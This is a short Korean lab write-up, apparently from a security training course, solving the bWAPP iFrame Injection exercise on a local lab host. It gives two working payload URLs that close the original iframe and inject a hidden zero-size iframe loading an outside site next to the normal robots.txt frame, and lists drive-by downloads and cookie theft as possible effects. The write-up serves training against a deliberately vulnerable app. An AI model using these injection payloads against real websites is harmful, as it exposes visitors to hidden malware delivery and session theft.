[SK 쉴더스 루키즈] bWAPP iFrame Injection 문제

 

 

ctrl+U를 눌러서 페이지 소스를 보면 iframe 태그로 robots.txt를 보여주고 있는 것을 확인할 수 있다. 

 

그럼 이제 ParamUrl= 부분에 내가 원하는 공격사이트 주소를 같이 넣어주면 된다.

근데 이제 원래 보여줬던 robots.txt도 같이 보여줘서 정상인 것처럼 보이게 한다.

즉, iframe을 두 개 보여주는 것이다. 하나는 정상, 하나는 malware 사이트.

http://192.168.10.128/iframei.php?ParamUrl=https://www.malware-traffic-analysis.net/" height="0" width="0"></iframe><iframe frameborder="0" src="robots.txt&ParamWidth=250&ParamHeight=250

 

• 백그라운드에서 malware-traffic-analysis.net 자동 로드
• 만약 그 사이트가 진짜 악성 사이트라면:
  • 드라이브 바이 다운로드 (자동 다운로드)
  • 브라우저 익스플로잇 실행
  • 멀웨어 감염
  • 쿠키/세션 탈취 등

 

을 수행할 수 있다.

 

만약 진짜 malware 사이트가 로드되었는지 보고 싶다면 height, width=0을 안 주면 된다.

http://192.168.10.128/bWAPP/iframei.php?ParamUrl=https://www.malware-traffic-analysis.net/"></iframe><iframe frameborder="0" src="robots.txt&ParamWidth=250&ParamHeight=250